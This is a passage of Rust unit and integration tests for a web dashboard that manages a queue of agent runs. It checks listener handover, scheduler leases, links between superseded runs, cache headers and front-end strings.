23698    async fn start_during_scheduler_stop_is_busy_and_preserves_the_stop() {
23699        let home = TempDir::new().expect("temp home");
23700        let ui = idle_ui(&home);
23701        let lease = crate::worker::try_lease(home.path(), "scheduler")
23702            .expect("scheduler lease")
23703            .expect("free");
23704        crate::worker::request(home.path(), "scheduler", crate::worker::Control::Stop)
23705            .expect("request stop");
23706        let error = ui
23707            .start_detached_loop()
23708            .await
23709            .expect_err("transition is still live");
23710        assert_eq!(error.status, StatusCode::CONFLICT);
23711        assert!(error.message.contains("still running or stopping"));
23712        assert_eq!(
23713            crate::worker::control(home.path(), "scheduler").unwrap(),
23714            Some(crate::worker::Control::Stop)
23715        );
23716        drop(lease);
23717    }
23718
23719    #[tokio::test]
23720    async fn handover_releases_listener_without_waiting_for_execution_leases() {
23721        let home = TempDir::new().expect("temp home");
23722        let ui = idle_ui(&home);
23723        let turns = ui
23724            .begin_talk_turn("active-chat")
23725            .expect("claim")
23726            .expect("free");
23727        let execution = crate::worker::try_lease(home.path(), "active-task")
23728            .expect("execution lease")
23729            .expect("free");
23730        let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
23731            .await
23732            .expect("bind loopback");
23733        let address = listener.local_addr().expect("address");
23734        let admissions = Arc::clone(&ui.admissions);
23735        let served = tokio::spawn(axum::serve(listener, ui.router()).into_future());
23736        let successor_started = std::sync::atomic::AtomicBool::new(false);
23737        tokio::time::timeout(
23738            Duration::from_secs(2),
23739            hand_over(home.path(), &admissions, served, || {
23740                successor_started.store(true, std::sync::atomic::Ordering::SeqCst);
23741                Ok(1)
23742            }),
23743        )
23744        .await
23745        .expect("restart must not wait for execution")
23746        .expect("handover");
23747        assert!(successor_started.load(std::sync::atomic::Ordering::SeqCst));
23748        // BSD may retain the address briefly after listener release. The real
23749        // successor uses the same bounded bind retry rather than a one-shot bind.
23750        let successor = bind_waiting(address)
23751            .await
23752            .expect("successor binds released address");
23753        assert_eq!(successor.local_addr().unwrap(), address);
23754        assert!(turns.owns(), "the chat lease survives restart");
23755        assert!(
23756            crate::worker::try_lease(home.path(), "active-task")
23757                .unwrap()
23758                .is_none()
23759        );
23760        drop(execution);
23761        drop(turns);
23762    }
23763
23764    #[tokio::test]
23765    async fn handover_drains_admission_but_never_waits_for_the_chat_turn() {
23766        let home = TempDir::new().expect("temp home");
23767        let ui = idle_ui(&home);
23768        let admission = ui.begin_admission().expect("admit send");
23769        let turn = ui
23770            .begin_talk_turn("active-chat")
23771            .expect("claim")
23772            .expect("free");
23773        let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
23774            .await
23775            .expect("bind loopback");
23776        let address = listener.local_addr().expect("address");
23777        let served = tokio::spawn(axum::serve(listener, ui.clone().router()).into_future());
23778        let successor_called = std::sync::atomic::AtomicBool::new(false);
23779        let handover = hand_over(home.path(), &ui.admissions, served, || {
23780            successor_called.store(true, std::sync::atomic::Ordering::SeqCst);
23781            Ok(1)
23782        });
23783        tokio::pin!(handover);
23784        // Poll exactly to the writer waiting on our admission guard. This
23785        // pins the race without sleeps or assumptions about task scheduling.
23786        std::future::poll_fn(|cx| {
23787            assert!(std::future::Future::poll(handover.as_mut(), cx).is_pending());
23788            std::task::Poll::Ready(())
23789        })
23790        .await;
23791        assert!(!successor_called.load(std::sync::atomic::Ordering::SeqCst));
23792        assert!(
23793            ui.begin_admission().is_err(),
23794            "new ingress cannot race the drain"
23795        );
23796        assert_eq!(request(address, "GET", "/api/loop", None).await.status, 200);
23797        drop(admission);
23798        tokio::time::timeout(Duration::from_secs(2), handover)
23799            .await
23800            .expect("only publication may delay restart")
23801            .expect("handover");
23802        assert!(successor_called.load(std::sync::atomic::Ordering::SeqCst));
23803        assert!(
23804            turn.owns(),
23805            "the detached chat turn is not awaited or cancelled"
23806        );
23807        assert!(
23808            ui.begin_admission().is_err(),
23809            "old accepted connections stay closed"
23810        );
23811        drop(turn);
23812    }
23813
23814    #[test]
23815    fn health_worker_metadata_never_contains_payload_or_result() {
23816        let view = WorkerView::from(crate::worker::Job {
23817            id: "job".into(),
23818            sequence: 1,
23819            kind: "service".into(),
23820            key: "maintenance".into(),
23821            payload: serde_json::json!({"env": {"TOKEN": "private"}}),
23822            generation: "generation".into(),
23823            version: Some("1.2.3".into()),
23824            status: crate::worker::Status::Running,
23825            result: Some("private diagnostics".into()),
23826            pid: Some(4242),
23827            created_at: 1,
23828            finished_at: None,
23829        });
23830        let value = serde_json::to_value(view).expect("serialize public metadata");
23831        assert_eq!(value["version"], "1.2.3");
23832        assert_eq!(value["pid"], 4242);
23833        assert!(value.get("payload").is_none());
23834        assert!(value.get("result").is_none());
23835        assert!(!value.to_string().contains("private"));
23836    }
23837
23838    #[test]
23839    fn upgraded_scheduler_remains_owned_by_a_replacement_web() {
23840        let home = TempDir::new().expect("temp home");
23841        let ui = idle_ui(&home);
23842        std::fs::write(
23843            home.path().join("daemon.json"),
23844            serde_json::json!({
23845                "schema": 2, "pid": 4242, "worker_protocol": 1,
23846                "updated_at": Timestamp::now().to_string(), "idle": true,
23847            })
23848            .to_string(),
23849        )
23850        .expect("status");
23851        let reading = daemon::read_status(home.path());
23852        assert!(Foreign::of(reading.as_ref()).is_none());
23853        let view = ui.runtime_loop_view(reading, &[]);
23854        assert!(view.running);
23855        assert!(view.owned);
23856    }
23857
23858    #[test]
23859    fn only_an_explicit_one_requests_a_resume() {
23860        assert!(!resume_requested(None));
23861        assert!(!resume_requested(Some("0".into())));
23862        assert!(!resume_requested(Some("".into())));
23863        assert!(resume_requested(Some("1".into())));
23864    }
23865
23866    #[test]
23867    fn an_error_is_visible_from_where_the_button_is() {
23868        // The alert used to sit in the flow under the header. On a phone
23869        // scrolled 13 500 px down to a run's action sheet that is off screen,
23870        // so tapping Resume and being told "the loop is running run b455
23871        // right now" looked exactly like a button that did nothing.
23872        let alert = &APP_CSS[APP_CSS.find(".alert {").expect(".alert")
23873            ..APP_CSS.find(".alert-text").expect(".alert-text")];
23874        assert!(
23875            alert.contains("position: fixed"),
23876            "an error about the thing under your thumb has to be visible from \
23877             where your thumb is: {alert}"
23878        );
23879        assert!(
23880            alert.contains("z-index: 25"),
23881            "above the dock (20) and the run-actions FAB (15), so neither \
23882             buries it: {alert}"
23883        );
23884        assert!(
23885            alert.contains("var(--tap)"),
23886            "and clear of the dock and the home indicator: {alert}"
23887        );
23888        // The FAB sits at the same height on the right. An error that covered
23889        // it would hide the button the operator reaches for next.
23890        assert!(
23891            alert.contains("var(--s4) + var(--tap) + var(--s3)"),
23892            "the FAB's column stays free: {alert}"
23893        );
23894    }
23895
23896    #[tokio::test]
23897    async fn an_older_attempt_says_what_replaced_it() {
23898        let fx = Fixture::start().await;
23899        let q = fx.queue();
23900        let runs = fx.runs();
23901        let (first, second) = ("20260901-000000-aaaa", "20260901-000000-bbbb");
23902        write_run(&runs, first, RunStatus::Stalled);
23903        write_run(&runs, second, RunStatus::Blocked);
23904
23905        let mut t = Task::new(
23906            "one task".to_owned(),
23907            "do it".to_owned(),
23908            PathBuf::from("/repo"),
23909            Source::Human,
23910        );
23911        t.runs = vec![first.to_owned(), second.to_owned()];
23912        q.put(&mut t).expect("put");
23913
23914        // Two cards with the same title and no hint which is which was the
23915        // question: "why are there two of the same, one stalled and one
23916        // blocked?" The older one now names its replacement.
23917        let rows = fx.get("/api/runs").await.json();
23918        let by = |short: &str| -> Value {
23919            rows.as_array()
23920                .unwrap()
23921                .iter()
23922                .find(|r| r["short"] == short)
23923                .cloned()
23924                .unwrap_or(Value::Null)
23925        };
23926        assert_eq!(by("aaaa")["superseded_by"], "bbbb");
23927        assert!(
23928            by("bbbb")["superseded_by"].is_null(),
23929            "the latest attempt is not superseded by anything"
23930        );
23931        // Front end: the note has to be rendered, not just carried.
23932        assert!(APP_JS.contains("run.superseded_by"));
23933        assert!(APP_JS.contains("Superseded by"));
23934    }
23935
23936    fn outcome_task(runs: &[&str], status: TaskStatus) -> Task {
23937        let mut t = Task::new(
23938            "one task".to_owned(),
23939            "do it".to_owned(),
23940            PathBuf::from("/repo"),
23941            Source::Human,
23942        );
23943        t.runs = runs.iter().map(|r| (*r).to_owned()).collect();
23944        t.status = status;
23945        t
23946    }
23947
23948    #[test]
23949    fn source_link_picks_the_page_that_filed_the_task() {
23950        let agent = |node: &str| Source::Agent {
23951            run: "20260904-014455-ab12".to_owned(),
23952            node: node.to_owned(),
23953        };
23954        let chat = source_link(&agent("chat")).expect("chat link");
23955        assert_eq!(chat.kind, "chat");
23956        assert_eq!(chat.id, "20260904-014455-ab12");
23957        assert_eq!(chat.href, "#/chat/20260904-014455-ab12");
23958        let run = source_link(&agent("implement")).expect("run link");
23959        assert_eq!(
23960            (run.kind, run.href.as_str()),
23961            ("run", "#/runs/20260904-014455-ab12")
23962        );
23963        assert_eq!(source_link(&Source::Human), None);
23964        assert_eq!(
23965            source_link(&Source::Issue {
23966                number: 3,
23967                repo: "o/r".to_owned()
23968            }),
23969            None
23970        );
23971        let odd = source_link(&Source::Agent {
23972            run: "a b/c".to_owned(),
23973            node: "chat".to_owned(),
23974        })
23975        .expect("link");
23976        assert_eq!(odd.href, "#/chat/a%20b%2Fc");
23977    }
23978
23979    #[test]
23980    fn the_ui_reads_the_source_link_instead_of_guessing_a_route() {
23981        assert!(
23982            !APP_JS.contains("src.node === \"chat\""),
23983            "inline href rule is back"
23984        );
23985        assert!(
23986            APP_JS.matches("sourceLinkOf(").count() >= 4,
23987            "helper must serve every page"
23988        );
23989        assert!(
23990            APP_JS.matches("openChatLink(").count() >= 3,
23991            "the run page still needs its explicit chat link"
23992        );
23993        assert!(
23994            !APP_JS.contains("const openChat = el("),
23995            "the Queue card duplicates its source label link again"
23996        );
23997        assert!(
23998            APP_JS.contains("metaKids.push(link ? el(\"a\""),
23999            "the task page must link a chat source label too"
24000        );
24001    }
24002
24003    #[test]
24004    fn task_ref_carries_the_source_link_for_a_chat_task() {
24005        let mut t = outcome_task(&["20260901-000000-aaaa"], TaskStatus::Held);
24006        t.source = Source::Agent {
24007            run: "20260904-014455-ab12".to_owned(),
24008            node: "chat".to_owned(),
24009        };
24010        let out = task_outcome(&t, "20260901-000000-aaaa", 3, |_| None);
24011        let v = serde_json::to_value(&out).expect("json");
24012        assert_eq!(v["source_link"]["kind"], "chat", "{v}");
24013        assert_eq!(v["source_link"]["href"], "#/chat/20260904-014455-ab12");
24014        assert_eq!(v["source_label"], t.source.label());
24015
24016        let human = outcome_task(&["20260901-000000-aaaa"], TaskStatus::Held);
24017        let v = serde_json::to_value(task_outcome(&human, "20260901-000000-aaaa", 3, |_| None))
24018            .expect("json");
24019        assert!(v["source_link"].is_null(), "{v}");
24020    }
24021
24022    #[test]
24023    fn task_view_serializes_source_link() {
24024        let mut t = Task::new(
24025            "t".to_owned(),
24026            "t".to_owned(),
24027            PathBuf::from("/repo"),
24028            Source::Agent {
24029                run: "20260901-000000-aaaa".to_owned(),
24030                node: "implement".to_owned(),
24031            },
24032        );
24033        t.runs.clear();
24034        let v = serde_json::to_value(TaskView::from(t)).expect("json");
24035        assert_eq!(v["source_link"]["kind"], "run", "{v}");
24036        assert_eq!(v["source_link"]["href"], "#/runs/20260901-000000-aaaa");
24037    }
24038
24039    #[test]
24040    fn task_view_serializes_urgent_flag() {
24041        let mut t = Task::new(
24042            "t".to_owned(),
24043            "t".to_owned(),
24044            PathBuf::from("/repo"),
24045            Source::Human,
24046        );
24047        let v = serde_json::to_value(TaskView::from(t.clone())).expect("json");
24048        assert_eq!(v["urgent"], false, "{v}");
24049        t.urgent = true;
24050        let v = serde_json::to_value(TaskView::from(t)).expect("json");
24051        assert_eq!(v["urgent"], true, "{v}");
24052        assert!(APP_JS.contains("task.urgent === true"));
24053    }
24054
24055    #[tokio::test]
24056    async fn a_blocked_run_reports_the_task_finishing_elsewhere() {
24057        let fx = Fixture::start().await;
24058        let runs = fx.runs();
24059        let (old, new) = ("20260901-000000-aaaa", "20260901-000000-bbbb");
24060        write_run(&runs, old, RunStatus::Blocked);
24061        write_run(&runs, new, RunStatus::Merged);
24062        let mut t = outcome_task(&[old, new], TaskStatus::Done);
24063        fx.queue().put(&mut t).expect("put");
24064
24065        let view = fx.get(&format!("/api/runs/{old}")).await.json();
24066        let task = &view["task"];
24067        assert_eq!(task["status"], "done");
24068        assert_eq!(task["is_latest"], false);
24069        assert_eq!(task["latest"]["short"], "bbbb");
24070        assert_eq!(task["finished_by"]["id"], new);
24071        assert_eq!(task["finished_by"]["outcome"], "merged");
24072        assert_eq!(task["closed_by_hand"], false);
24073        assert_eq!(view["status"], "blocked", "the run keeps its own status");
24074        assert!(APP_JS.contains("finished_by"));
24075        assert!(APP_JS.contains("superseded by run"));
24076    }
24077
24078    #[tokio::test]
24079    async fn the_latest_run_reports_a_held_task_without_a_successor() {
24080        let fx = Fixture::start().await;
24081        let runs = fx.runs();
24082        let (old, new) = ("20260901-000000-aaaa", "20260901-000000-bbbb");
24083        write_run(&runs, old, RunStatus::Stalled);
24084        write_run(&runs, new, RunStatus::Blocked);
24085        let mut t = outcome_task(&[old, new], TaskStatus::Held);
24086        fx.queue().put(&mut t).expect("put");
24087
24088        let task = fx.get(&format!("/api/runs/{new}")).await.json()["task"].clone();
24089        assert_eq!(task["status"], "held");
24090        assert_eq!(task["is_latest"], true);
24091        assert!(task["latest"].is_null());
24092        assert!(task["finished_by"].is_null());
24093        assert_eq!(task["closed_by_hand"], false);
24094    }
24095
24096    #[tokio::test]
24097    async fn a_direct_run_has_no_task_outcome() {
24098        let fx = Fixture::start().await;
24099        let runs = fx.runs();
24100        let id = "20260901-000000-aaaa";
24101        write_run(&runs, id, RunStatus::Blocked);
24102        let view = fx.get(&format!("/api/runs/{id}")).await.json();
24103        assert!(view["task"].is_null());
24104    }
24105
24106    #[test]
24107    fn task_outcome_does_not_guess_a_finishing_run() {
24108        let a = "20260901-000000-aaaa";
24109        let b = "20260901-000000-bbbb";
24110        let c = "20260901-000000-cccc";
24111        let dir = tempfile::tempdir().expect("tempdir");
24112        write_run(dir.path(), a, RunStatus::Blocked);
24113        write_run(dir.path(), b, RunStatus::VerifiedNoop);
24114        // `c` has no record: unreadable.
24115        let read = |id: &str| read_run(dir.path(), id).ok();
24116        // Neither a blocked run nor a no-op finished the task; the newest run is
24117        // unreadable and still named.
24118        let t = outcome_task(&[a, b, c], TaskStatus::Done);
24119        let out = task_outcome(&t, a, 3, read);
24120        assert!(out.finished_by.is_none());
24121        assert!(out.closed_by_hand);
24122        let latest = out.latest.expect("latest");
24123        assert_eq!(latest.id, c);
24124        assert_eq!(latest.status, None);
24125        assert_eq!(latest.outcome, "record unreadable");
24126
24127        // A Ready run settles the task as done, so it is named as the finisher.
24128        write_run(dir.path(), c, RunStatus::Ready);
24129        let t = outcome_task(&[a, c], TaskStatus::Done);
24130        let out = task_outcome(&t, a, 3, |id| read_run(dir.path(), id).ok());
24131        assert_eq!(out.finished_by.expect("finisher").id, c);
24132        assert!(!out.closed_by_hand);
24133
24134        // A resumed run id repeats: it is still the latest by id.
24135        let t = outcome_task(&[a, b, a], TaskStatus::Held);
24136        assert!(task_outcome(&t, a, 3, read).is_latest);
24137    }
24138
24139    #[tokio::test]
24140    async fn a_run_s_own_detail_page_says_what_replaced_it_too() {
24141        // The list route has known this since the card fix above; the detail
24142        // route — what an operator actually opens from a notification about
24143        // a blocked run — did not, and went on showing a bare red BLOCKED
24144        // chip for a run a retry had already finished.
24145        let fx = Fixture::start().await;
24146        let q = fx.queue();
24147        let runs = fx.runs();
24148        let (first, second) = ("20260901-000000-cccc", "20260901-000000-dddd");
24149        write_run(&runs, first, RunStatus::Blocked);
24150        write_run(&runs, second, RunStatus::Merged);
24151
24152        let mut t = Task::new(
24153            "one task".to_owned(),
24154            "do it".to_owned(),
24155            PathBuf::from("/repo"),
24156            Source::Human,
24157        );
24158        t.runs = vec![first.to_owned(), second.to_owned()];
24159        q.put(&mut t).expect("put");
24160
24161        let earlier = fx.get(&format!("/api/runs/{first}")).await.json();
24162        assert_eq!(earlier["superseded_by"], "dddd");
24163        assert_eq!(earlier["latest_attempt"]["id"], second);
24164        assert_eq!(earlier["latest_attempt"]["short"], "dddd");
24165        assert_eq!(
24166            earlier["latest_attempt"]["resolved"], true,
24167            "the run that replaced it landed, so this one reads as settled"
24168        );
24169
24170        let later = fx.get(&format!("/api/runs/{second}")).await.json();
24171        assert!(
24172            later["superseded_by"].is_null(),
24173            "the latest attempt is not superseded by anything"
24174        );
24175        assert!(
24176            later["latest_attempt"].is_null(),
24177            "the latest attempt has no later attempt of its own"
24178        );
24179
24180        // Front end: the detail page has to read the field this route now
24181        // carries, downgrade the chip, and link to the run that replaced it —
24182        // not just repeat the list card's own logic under a different name.
24183        // The link is built off `latest_attempt.id`, the server-resolved
24184        // full id, never a bare short string a client would have to guess a
24185        // full run from.
24186        assert!(APP_JS.contains("run.latest_attempt"));
24187        assert!(APP_JS.contains("data-superseded"));
24188        assert!(APP_JS.contains("#/runs/${latest.id}"));
24189    }
24190
24191    #[tokio::test]
24192    async fn a_chain_of_retries_points_the_oldest_at_the_current_head() {
24193        // A -> B -> C, all Blocked except the last. A's immediate successor
24194        // (superseded_by) is B, which is itself unresolved; what an operator
24195        // opening A's page actually needs is where the task's story stands
24196        // *now* - C, not B - without depending on whether C happens to be in
24197        // whatever page of /api/runs the client last cached.
24198        let fx = Fixture::start().await;
24199        let q = fx.queue();
24200        let runs = fx.runs();
24201        let (a, b, c) = (
24202            "20260901-000000-aaaa",
24203            "20260901-000000-bbbb",
24204            "20260901-000000-cccc",
24205        );
24206        write_run(&runs, a, RunStatus::Blocked);
24207        write_run(&runs, b, RunStatus::Blocked);
24208        write_run(&runs, c, RunStatus::Merged);
24209
24210        let mut t = Task::new(
24211            "retried twice".to_owned(),
24212            "do it".to_owned(),
24213            PathBuf::from("/repo"),
24214            Source::Human,
24215        );
24216        t.runs = vec![a.to_owned(), b.to_owned(), c.to_owned()];
24217        q.put(&mut t).expect("put");
24218
24219        let view = fx.get(&format!("/api/runs/{a}")).await.json();
24220        assert_eq!(view["superseded_by"], "bbbb", "the immediate successor");
24221        assert_eq!(
24222            view["latest_attempt"]["id"], c,
24223            "the chain's current head, not the intermediate Blocked retry"
24224        );
24225        assert_eq!(view["latest_attempt"]["resolved"], true);
24226
24227        let mid = fx.get(&format!("/api/runs/{b}")).await.json();
24228        assert_eq!(mid["latest_attempt"]["id"], c);
24229        assert_eq!(mid["latest_attempt"]["resolved"], true);
24230    }
24231
24232    #[tokio::test]
24233    async fn an_unresolved_or_unverified_successor_does_not_read_as_finished() {
24234        let fx = Fixture::start().await;
24235        let q = fx.queue();
24236        let runs = fx.runs();
24237
24238        // Still Blocked: the task is not resolved, so the older run must not
24239        // read as settled either.
24240        let (still_blocked_a, still_blocked_b) = ("20260901-000000-e001", "20260901-000000-e002");
24241        write_run(&runs, still_blocked_a, RunStatus::Blocked);
24242        write_run(&runs, still_blocked_b, RunStatus::Blocked);
24243        let mut t1 = Task::new(
24244            "still stuck".to_owned(),
24245            "do it".to_owned(),
24246            PathBuf::from("/repo"),
24247            Source::Human,
24248        );
24249        t1.runs = vec![still_blocked_a.to_owned(), still_blocked_b.to_owned()];
24250        q.put(&mut t1).expect("put");
24251        let view1 = fx.get(&format!("/api/runs/{still_blocked_a}")).await.json();
24252        assert_eq!(view1["latest_attempt"]["resolved"], false);
24253        assert_eq!(view1["latest_attempt"]["status"], "blocked");
24254        assert_eq!(view1["latest_attempt"]["done"], true);
24255
24256        // Still running: the successor exists and must be reported as such.
24257        let (run_a, run_b) = ("20260901-000000-e005", "20260901-000000-e006");
24258        write_run(&runs, run_a, RunStatus::Blocked);
24259        write_run(&runs, run_b, RunStatus::Implementing);
24260        let mut t3 = Task::new(
24261            "retrying".to_owned(),
24262            "do it".to_owned(),
24263            PathBuf::from("/repo"),
24264            Source::Human,
24265        );
24266        t3.runs = vec![run_a.to_owned(), run_b.to_owned()];
24267        q.put(&mut t3).expect("put");
24268        let view3 = fx.get(&format!("/api/runs/{run_a}")).await.json();
24269        assert_eq!(view3["latest_attempt"]["id"], run_b);
24270        assert_eq!(view3["latest_attempt"]["resolved"], false);
24271        assert_eq!(view3["latest_attempt"]["done"], false);
24272
24273        // VerifiedNoop: a candidate's own unconfirmed claim, held for a human
24274        // to check - not a confirmed finish, so this must not read as
24275        // resolved either, even though the run is done in the sense that
24276        // nothing is still running.
24277        let (noop_a, noop_b) = ("20260901-000000-e003", "20260901-000000-e004");
24278        write_run(&runs, noop_a, RunStatus::Blocked);
24279        write_run(&runs, noop_b, RunStatus::VerifiedNoop);
24280        let mut t2 = Task::new(
24281            "claims done".to_owned(),
24282            "do it".to_owned(),
24283            PathBuf::from("/repo"),
24284            Source::Human,
24285        );
24286        t2.runs = vec![noop_a.to_owned(), noop_b.to_owned()];
24287        q.put(&mut t2).expect("put");
24288        let view2 = fx.get(&format!("/api/runs/{noop_a}")).await.json();
24289        assert_eq!(
24290            view2["latest_attempt"]["resolved"], false,
24291            "an unverified no-op claim must not read as a confirmed finish"
24292        );
24293
24294        // Front end: an unresolved successor must not carry the "finished
24295        // this work" note or the muted chip treatment.
24296        assert!(APP_JS.contains("latest.resolved"));
24297        // ...but the link to it shows as soon as it exists, labelled by state
24298        // and without the "finished" wording or the muted chip.
24299        assert!(APP_JS.contains("successorNote(latest, inFlight)"));
24300        assert!(APP_JS.contains("Latest attempt: "));
24301        assert!(APP_JS.contains("in flight"));
24302        assert!(APP_JS.contains("not resolved"));
24303    }
24304
24305    #[tokio::test]
24306    async fn a_replaced_deck_is_not_served_from_a_phone_s_cache() {
24307        let fx = Fixture::start().await;
24308        // No cache header at all meant browsers invented their own policy,
24309        // and one did: a phone went on showing "Candidates must be folded
24310        // before deleting. Run `magi fold` first." - deleted two releases
24311        // earlier - from a deck that no longer contained the sentence. The
24312        // button it named was right there, and unreachable.
24313        let js = fx.get("/app.js").await;
24314        assert_eq!(js.status, 200);
24315        let tag = js
24316            .header("etag")
24317            .expect("an etag to revalidate against")
24318            .to_owned();
24319        assert!(tag.contains(env!("CARGO_PKG_VERSION")), "tag: {tag}");
24320        assert_eq!(
24321            js.header("cache-control"),
24322            Some("no-cache, must-revalidate"),
24323            "the phone has to ask every time"
24324        );
24325
24326        // And the asking has to be cheap, or `must-revalidate` just means
24327        // "send the whole interface on every load".
24328        let again = fx
24329            .get_with("/app.js", &[("if-none-match", tag.as_str())])
24330            .await;
24331        assert_eq!(
24332            again.status, 304,
24333            "a deck it already has costs one round trip"
24334        );
24335        assert!(again.body.is_empty(), "304 carries no body");
24336
24337        // A weakened tag from a proxy still matches; a different build does
24338        // not, which is the case that has to deliver the new interface.
24339        let weak = fx
24340            .get_with("/app.js", &[("if-none-match", &format!("W/{tag}"))])
24341            .await;
24342        assert_eq!(weak.status, 304);
24343        let stale = fx
24344            .get_with("/app.js", &[("if-none-match", "\"0.0.1-1\"")])
24345            .await;
24346        assert_eq!(stale.status, 200, "an older build must be replaced");
24347        assert!(stale.body.contains("renderRunActions"));
24348    }
24349
24350    #[test]
24351    fn the_task_detail_has_an_actions_fab_and_sheet() {
24352        assert!(INDEX_HTML.contains("id=\"task-actions-fab\""));
24353        assert!(INDEX_HTML.contains("id=\"task-actions-sheet\""));
24354        assert!(INDEX_HTML.contains("id=\"task-actions-error\" role=\"alert\""));
24355        // Shown only on the task route, closed everywhere else.
24356        assert!(APP_JS.contains("show($(\"task-actions-fab\"), route.name === \"task\")"));
24357        assert!(APP_JS.contains("if (route.name !== \"task\") closeTaskActions();"));
24358        // Refreshed whenever the detail redraws, including the loading state.
24359        assert!(APP_JS.contains("renderTaskActions(task.coreOnly || error ? null : task);"));
24360        assert!(APP_JS.contains("renderTaskActions(null);"));
24361        // Same action renderers as the Queue card. Bound this check by the
24362        // next function, since additional task controls can grow the sheet.
24363        let (_, sheet) = APP_JS
24364            .split_once("function renderTaskActions(task) {")
24365            .expect("sheet renderer");
24366        let (body, _) = sheet
24367            .split_once("\nfunction openTaskActions() {")
24368            .expect("end of sheet renderer");
24369        assert!(body.contains("changePriority("));
24370        assert!(body.contains("openTaskEdit(task)"));
24371        assert!(body.contains("renderTaskHoldBox(host"));
24372        assert!(body.contains("renderTaskDoneBox(host"));
24373        assert!(body.contains("renderTaskDeleteBox(host"));
24374        assert!(APP_JS.contains("API.priority(id)"));
24375        assert!(APP_JS.contains("API.deleteTask(id)"));
24376        // A deleted task sends the operator back to the queue.
24377        assert!(APP_JS.contains("location.hash = \"#/queue\""));
24378        // A refusal is shown inside the sheet.
24379        assert!(APP_JS.contains("$(\"task-actions-error\")"));
24380    }
24381
24382    #[test]
24383    fn the_run_actions_sheet_leads_with_a_way_to_the_task() {
24384        let task = INDEX_HTML.find("id=\"run-task-box\"").expect("task box");
24385        let actions = INDEX_HTML
24386            .find("id=\"run-actions-box\"")
24387            .expect("actions box");
24388        assert!(task < actions, "the task entry comes first in the sheet");
24389        assert!(APP_JS.contains("renderRunTaskEntry"));
24390        assert!(APP_JS.contains("\"Open task \""));
24391        // A run without a task says why there is nothing to open.
24392        assert!(APP_JS.contains("started directly, no task"));
24393        assert!(APP_JS.contains("sheet-task-link"));
24394        assert!(APP_JS.contains("task-chip-link"));
24395    }
24396
24397    #[test]
24398    fn the_deck_never_sends_the_operator_to_a_terminal() {
24399        // The whole point of the phone UI is that a terminal is not needed.
24400        // The delete control used to answer with "Run `magi fold` first."
24401        assert!(
24402            !APP_JS.contains("Run `magi fold` first"),
24403            "the deck must offer the fold, not prescribe a shell command"
24404        );
24405        assert!(APP_JS.contains("foldRun:"));
24406        assert!(APP_JS.contains("resumeRun:"));
24407        assert!(APP_JS.contains("renderRunActions"));
24408
24409        // Folding is destructive and armed in two steps, like deleting.
24410        assert!(APP_JS.contains("armedFold"));
24411        assert!(APP_JS.contains("Yes, fold worktrees"));
24412
24413        // And the copy has to say that the two actions are opposites, because
24414        // folding throws away exactly what a resume would continue from.
24415        assert!(APP_JS.contains("can no longer be resumed"));
24416    }
24417
24418    #[test]
24419    fn a_finished_run_explains_itself_with_its_own_last_line() {
24420        // The deck used to answer "why did this stop?" with a sentence chosen
24421        // by status alone. Run e633 stalled because two judges answered with
24422        // the wrong JSON shape and its card said "The panel collapsed on
24423        // agent quota" - with `quota: []` in the record and a quota-loss
24424        // counter right above it that correctly said nothing.
24425        assert!(
24426            !APP_JS.contains("collapsed on agent quota"),
24427            "a stall must not be explained by a cause the deck did not check"
24428        );
24429        assert!(
24430            !APP_JS.contains("Review rounds ran out with findings still open, or the gate failed"),
24431            "and a block must not offer a guess with an `or` in it"
24432        );
24433
24434        // The reason it does have is `run.event`, which must reach finished
24435        // runs: gating it on movement hid the recorded truth at the one moment
24436        // the operator is reading the card to find out what happened.
24437        assert!(
24438            APP_JS.contains("setText(r.event, run.event || \"\")"),
24439            "the run's last line is rendered unconditionally"
24440        );
24441        assert!(
24442            !APP_JS.contains("moving && run.event"),
24443            "and never gated on the run still moving"
24444        );
24445
24446        // Quota keeps its own counter, fed by the number actually recorded.
24447        assert!(APP_JS.contains("lost to quota"));
24448    }
24449
24450    /// The runs tree (section) and the state chips (waiting/done) are two
24451    /// independent lenses ANDed together in `renderRuns`, and some pairings
24452    /// can never both be true for any run - every "Landed"/"Ended" run is
24453    /// done by construction, so pairing either with "Active" or "In flight"
24454    /// always rendered zero cards with the filter bar still claiming
24455    /// `Showing Ended`. `sectionCompatibleWithStateFilter` exists to catch
24456    /// that before it happens, checked against `REPRESENTATIVE_RUN_SHAPES` -
24457    /// a handful of (waiting, status) shapes standing in for the run
24458    /// lifecycle, because `cargo test` cannot execute the front end.
24459    ///
24460    /// That stand-in list is itself the part that drifted twice in review:
24461    /// once shipped with `waiting: true` paired with a done status the
24462    /// lifecycle cannot produce, then over-corrected into treating every
24463    /// waiting run as never done - which made "Waiting on you" look
24464    /// incompatible with "Done" even for the one real, reachable shape
24465    /// (Stalled/Blocked, both terminal yet still resumable) that is exactly
24466    /// that combination. This test parses the shapes and the done-rule back
24467    /// out of `APP_JS`, reimplements `runSection` and the five state
24468    /// predicates independently in Rust, and checks the resulting
24469    /// section/filter compatibility table against the lifecycle rules by
24470    /// hand - so either direction of drift fails it again.
24471    #[test]
24472    fn runs_tree_sections_and_state_chips_agree_on_what_a_run_can_be() {
24473        let shapes_marker = "const REPRESENTATIVE_RUN_SHAPES = [";
24474        let shapes_body_start =
24475            APP_JS.find(shapes_marker).expect("the shape list exists") + shapes_marker.len();
24476        let shapes_close = APP_JS[shapes_body_start..]
24477            .find("].map(")
24478            .expect("the shape list is closed by its done-computing .map(...)")
24479            + shapes_body_start;
24480        let shapes_src = &APP_JS[shapes_body_start..shapes_close];
24481
24482        let mut shapes: Vec<(bool, String, bool, bool)> = Vec::new();
24483        for entry in shapes_src.split('{').skip(1) {
24484            let waiting = entry.contains("waiting: true");
24485            let dead = entry.contains("live: \"dead\"");
24486            let status_at =
24487                entry.find("status: \"").expect("each shape names a status") + "status: \"".len();
24488            let status_end = entry[status_at..]
24489                .find('"')
24490                .expect("the status string is closed")
24491                + status_at;
24492            let parked = entry.contains("display_status: \"parked\"");
24493            shapes.push((
24494                waiting,
24495                entry[status_at..status_end].to_string(),
24496                dead,
24497                parked,
24498            ));
24499        }
24500        assert!(shapes.len() >= 6, "parsed shapes: {shapes:?}");
24501
24502        // The done rule itself (`!["implementing"].includes(shape.status)`),
24503        // read out of the source rather than hardcoded, so a renamed
24504        // in-flight status can't silently make every parsed shape "done".
24505        let done_rule_marker = "done: !";
24506        let done_rule_at = APP_JS[shapes_close..]
24507            .find(done_rule_marker)
24508            .expect("the done rule follows the shape list")
24509            + shapes_close
24510            + done_rule_marker.len();
